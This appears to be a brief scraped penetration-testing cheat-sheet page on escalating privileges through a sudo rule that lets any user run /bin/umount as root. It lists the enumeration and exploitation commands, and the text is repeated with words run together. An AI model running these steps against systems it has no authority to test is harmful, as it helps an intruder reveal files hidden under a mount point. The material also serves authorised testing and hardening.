Sudo Umount Privilege Escalation
Investigation
sudo -l
(root) NOPASSWD: /bin/umountExploitation
cat /etc/fstab
showmount -e localhostsudo /bin/umount /opt/example
ls -al /opt/exampleLast updated
sudo -l
(root) NOPASSWD: /bin/umountcat /etc/fstab
showmount -e localhostsudo /bin/umount /opt/example
ls -al /opt/exampleLast updated